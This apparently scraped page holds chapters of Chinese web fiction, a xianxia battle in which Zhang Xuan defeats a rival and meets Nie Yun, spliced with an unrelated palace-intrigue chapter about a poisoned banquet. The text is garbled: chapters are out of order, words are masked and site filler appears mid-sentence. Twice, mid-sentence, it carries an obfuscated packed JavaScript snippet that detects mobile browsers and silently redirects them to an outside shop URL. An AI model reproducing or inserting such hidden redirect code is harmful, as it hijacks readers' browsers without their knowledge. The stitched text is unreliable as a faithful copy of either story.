随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546001|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第29章她的**……被破了? 千日醉。无色无味,**者初时无异样,三日后便会陷入昏睡,日渐消瘦,千日之后,生机耗尽而亡,神仙难救。好阴毒的手段!在这普天同庆的封赏时刻,众目睽睽之下赐下毒酒,若她不饮,便是当庭抗旨,大不敬之罪;若饮下,便是自寻死路。 皇帝依旧微笑着看着她,眼神温和,仿佛只是赏赐一杯美酒。屏风后的呼吸声,似乎沉重了一瞬。 萧御的拳头在案下骤然握紧,眼神瞬间变得冰寒刺骨,目光死死盯住那杯酒。 谢凤卿端起那杯琉璃盏,指尖感受到杯壁的冰凉。她抬眼,迎向皇帝那“慈祥”的目光,唇角缓缓勾起一抹极淡的弧度。 “臣女,谢陛下厚赐。”她声音清越,举杯示意。 就在她举杯欲饮的刹那—— “且慢!” 一声娇柔婉转、如同**出谷的声音,突然从大殿一侧响起,打断了这暗藏杀机的片刻! 音乐声戛然而止。 所有人的目光瞬间被吸引过去。 只见一道窈窕的身影,身着华丽舞衣,云鬓高耸,环佩叮咚,如同九天仙女般,翩然步入大殿中央。正是重生归来的嫡姐,谢云姝! 她脸上带着恰到好处的娇羞与崇敬,向着御座盈盈一拜,声音甜美动人:“陛下,皇后娘娘,世子殿下,郡主妹妹。今日大庆,云姝不才,愿献上一舞《惊鸿》,为妹妹庆功,为陛下和娘娘助兴,望乞恩准。” 皇后微微一笑,开口道:“陛下,云姝这孩子的舞艺在京中是出了名的,难得她有这份心,便允了吧。” 皇帝目光微闪,看了皇后一眼,随即笑道:“准了。” 丝竹声再次响起,却换成了柔媚婉转的曲调。 谢云姝嫣然一笑,水袖轻扬,纤腰折转,果然翩若惊鸿,婉若游龙。舞姿极尽曼妙,眼波流转间,风情万种,引得不少年轻官员目眩神迷。 她舞动着,渐渐靠近谢凤卿的案前。 随着舞步的旋转,水袖翻飞,香风阵阵。就在一次极速的旋转贴近谢凤卿案前,宽大的水袖看似不经意地拂过谢凤卿手持琉璃盏的手腕时—— 一点几乎肉眼难辨的乌光,如同毒蝎的尾针,悄无声息地从谢云姝的袖口之中弹出,直刺谢凤卿的手腕!那乌光细如牛毛,却闪烁着幽蓝的色泽,显然淬有剧毒! 双杀之局!皇帝毒酒在前,嫡姐**在后!无论谢凤卿是否饮下毒酒,只要被这**擦破一点油皮,便是当场毙命的下场!好狠毒的心思! 谢云姝的眼中,在那一瞬间,爆发出压抑了兩世的刻骨怨毒和即将得手的快意! 然而—— 就在那**即将触及皮肤的电光火石之间! 谢凤卿端着酒杯的手指,极其细微地、近乎优雅地弹动了一下! 一点细微到极致的青芒,后发先至,精准无比地撞在了那枚淬毒短针的侧面! “叮!” 一声极其轻微、仿佛银针落地的脆响! 那枚**被这股巧劲一带,瞬间偏离了方向,“噗”地一声,深深扎进了谢凤卿案前那只肥美的烤羊腿之中! 滋滋—— 一阵轻微的腐蚀声响起,烤羊腿被扎中的地方,瞬间变得乌黑发臭! 这一切发生得太快,太隐蔽,除了极少数眼力超群之人,大多数官员只看到谢云姝的舞袖拂过了郡主的案几。 谢云姝脸上的笑容瞬间僵住,眼中闪过一丝难以置信的惊骇!她的**……被破了?! 谢凤卿却仿佛什么都没发生。她甚至看都没看那只瞬间变得剧毒的烤羊腿,目光平静地转向舞姿僵住的谢云姝,声音清冷,却如同惊雷般炸响在整个金銮殿: “姐姐这《惊鸿》舞,跳得真好。” 她微微歪头,眼神中带着一丝冰冷的探究,声音不高,却清晰地传入每一个人耳中: “只是这舞步……依稀带着前朝末代宠妃赵飞燕于城破之日,在烽火台上跳的最后一段《归风送远曲》的韵味。步步生莲,却步步是**之音。” 她顿了顿,在谢云姝骤然变得惨白的脸色和百官骤然屏息的死寂中,缓缓道: “姐姐,不去跳昭君出塞,不去跳木兰从军,怎偏偏挑了这**妖妃的舞,来为我这‘兵仙’庆功?” “莫非姐姐舞的不是惊鸿,”谢凤卿的声音陡然变得锐利如刀,字字诛心,“而是那前朝的……孤魂野鬼?!” “轰——!” 此言一出,整个金銮殿瞬间炸开了锅! 前朝亡魂?!**之舞?! 这些词语组合在一起,其冲击力远超方才的封赏! 百官哗然!所有人的目光如同利箭般射向场中脸色惨白、摇摇欲坠的谢云姝!前朝乃是本朝大忌!任何与之牵扯的事情,都是足以抄家灭族的重罪! 皇帝脸上的笑容瞬间消失,眼神变得阴沉无比。皇后也收起了那副端庄的模样,眉头紧锁。 “你……你血口喷人!”谢云姝尖声叫道,声音因恐惧而扭曲,早已没了之前的娇柔。 “血口喷人?”谢凤卿轻笑一声,目光扫过那只乌黑的烤羊腿,“那这枚从姐姐袖中飞出、淬了‘鹤顶红’的**,又该作何解释?莫非也是前朝亡魂所赠?” 证据确凿!人赃并获! “哗——!”百官再次哗然,这次看向谢云姝的目光已经充满了惊惧和厌恶!当庭刺杀刚刚立下不世之功的兵仙郡主?这简直是疯了! 皇帝的脸色已经黑如锅底。他精心安排的鸿门宴,竟然被这个蠢女人用如此拙劣的方式打断,甚至还牵扯出了前朝这等敏感话题! “岂有此理!”皇帝猛地一拍龙案,勃然大怒,“谢氏云姝,心思歹毒,言行无状,冲撞庆功盛宴,更兼……更兼形迹可疑!来人!给朕拿下!押入天牢,候审!” 几名如狼似虎的御林军立刻冲上前,毫不怜香惜玉地将尖叫挣扎、花容失色的谢云姝拖了下去。她那身华丽的舞衣在地上拖曳,如同折翼的蝴蝶,狼狈不堪。 一场精心设计的献舞,转眼变成了修罗场。 经此一闹,皇帝原本的计划被打乱,气氛陡然变得尴尬而紧张。 谢凤卿却仿佛无事发生。她放下那杯一直未曾饮下的“葡萄酿”,从容起身,从袖中取出一卷羊皮文书,和一个象征着蛮族王族身份的狼头金印。 “陛下,”她声音平静,却自带一股不容置疑的力量,“此乃蛮族左贤王部呈上的降书,以及蛮族王女赫兰真的信印。北疆已定,蛮族愿称臣纳贡,并请开边市互易。此战,镇北军上下用命,虎符所至,三军用命,方有此胜。臣妇恳请陛下,明示天下,以安北疆将士之心。” 她的话,字字句句,都将功劳归于虎符,归于军队。 皇帝看着那降书和金印,眼角狠狠抽搐了几下。这是他最不愿意看到的结果!北疆大胜,蛮族称臣,谢凤卿的威望和兵权已然做实!他若此刻否认虎符,便是自打嘴巴,寒了天下将士的心! 他深吸一口气,强行压下心中的暴怒,挤出一个比哭还难看的笑容:“郡主所言极是!虎符乃统兵信物,自当遵行!” 他看向礼部尚书:“拟旨!公告天下!北疆大捷,蛮族臣服!自即日起,北疆一应军政要务,由摄政王萧御与兵仙郡主谢凤卿共同执掌,虎符令旨,如同朕亲临!” “另,”皇帝咬着牙,几乎是挤出了这句话,“为彰郡主之功,特准郡主组建‘凤字营’,亲卫三千,一应粮饷由国库支应!” 这等于变相承认了谢凤卿对北疆军的绝对控制权,甚至允许她拥有私兵! 礼部尚书连忙记录宣诏。 谢凤卿微微躬身,脸上露出一抹恰到好处的、却未达眼底的微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16546002|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑:“臣妇,谢主隆恩。北疆初定,诸事繁杂,蛮族虽降,其心难测。臣妇恳请陛下,允臣妇七日后返回北疆,继续戍边,以保国门永固。” 七日后返北疆?皇帝一口气差点没上来!他本想将人留在京城慢慢炮制,谁知对方根本不留机会,直接就要回权力根基之地!这简直是放虎归山! 但此刻,在百官注视下,在刚刚颁布的圣旨余音中,他根本无法拒绝! “准……准奏!”皇帝从牙缝里挤出两个字,只觉得胸口堵得发慌。这场鸿门宴,他损兵折将(谢云姝),赔了夫人又折兵(承认虎符,允许组建私兵),最后竟然还要眼睁睁看着对方大摇大摆地离开?简直是奇耻大辱! 宴会最终在不尴不尬的气氛中草草收场。 百官心思各异地散去,每个人心头都压着一块沉重的石头。兵仙郡主,势不可挡了。 谢凤卿与萧御走出金銮殿,冰冷的空气涌入肺腑,驱散了殿内那令人窒息的暖香和阴谋的味道。 刚走出宫门不远,一名身着宫装、看似普通的女官悄然靠近,塞给谢凤卿一张折叠得极其细小的纸条,低声道:“皇后娘娘赐点心得方,请郡主笑纳。”说完便匆匆离去。 谢凤卿指尖微动,将纸条纳入袖中。 回到暂时下榻的驿馆,屏退左右。谢凤卿展开那张纸条。 上面并非什么点心方子,而是一串密密麻麻的人名、官职,以及一些看似零散的地点、日期和代号!在名单的最下方,有一行用朱砂写下的小字,色泽暗红,如同凝固的鲜血: “沈介(首辅)与太医署勾结,药人实验,名单在此。七日之后,药人尽出,京畿恐有大乱。” 药人! 谢凤卿的眼神瞬间变得冰寒彻骨!母亲之死的模糊记忆,那些被刻意掩盖的线索,终于指向了这最黑暗的核心!首辅沈介!太医署! 纸条在谢凤卿指尖微微颤抖,不是恐惧,而是极致的愤怒与杀意。 “沈介……皇后……”她低声念着这两个名字,眼中寒芒闪烁,“原来如此。这份‘厚礼’,我收下了。” 她轻轻攥紧纸条,仿佛攥住了开启最终黑幕的钥匙。 “金銮殿上,”她望向皇宫的方向,声音低如呢喃,却带着斩断一切的决绝,“我要这黑幕,彻底掀开!” 是夜,月黑风高。 天牢最深处,阴暗潮湿的单独牢房内。 萧御的身影如同鬼魅,悄无声息地出现在栅栏外。 牢房内,谢云姝蜷缩在枯草堆中,华丽的舞衣早已污秽不堪,头发散乱,哪里还有半分白日里的风光。听到动静,她猛地抬头,看到栅栏外那张俊美却冰冷的脸,先是一惊,随即发出一阵癫狂的冷笑。 “呵呵……哈哈哈……萧御?你是来看我笑话的?还是替你那好庶妹来灭口的?” 萧御面无表情地看着她,眼神如同在看一个**:“你不该动她。” “动她?”谢云姝猛地扑到栅栏前,面目扭曲,眼中充满了疯狂的恨意,“我恨不得食其肉,寝其皮!萧御,你以为你赢了吗?你以为那个**赢了吗?” 她死死盯着萧御,声音嘶哑如同诅咒:“你们不会得意的太久的!庶妹,她赢不了天命!你们都赢不了!等着吧!哈哈哈……” 癫狂的笑声在阴暗的天牢中回荡,令人毛骨悚然。 萧御眉头紧锁,不再看她,身影悄然隐没在黑暗之中。 驿馆内,灯下。 谢凤卿再次展开那张密密麻麻的名单,朱砂写就的“七日之后,药人尽出”八字,在烛光下,仿佛流淌着粘稠的鲜血,散发着不祥的气息。 她的指尖,轻轻点在那一个个陌生的名字上,最终,落在“沈介”与“太医署”几个字上。 窗外,寒夜寂寂,暗流已化为汹涌的波涛,正在无声地逼近。 第30章三百多个实验体? 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 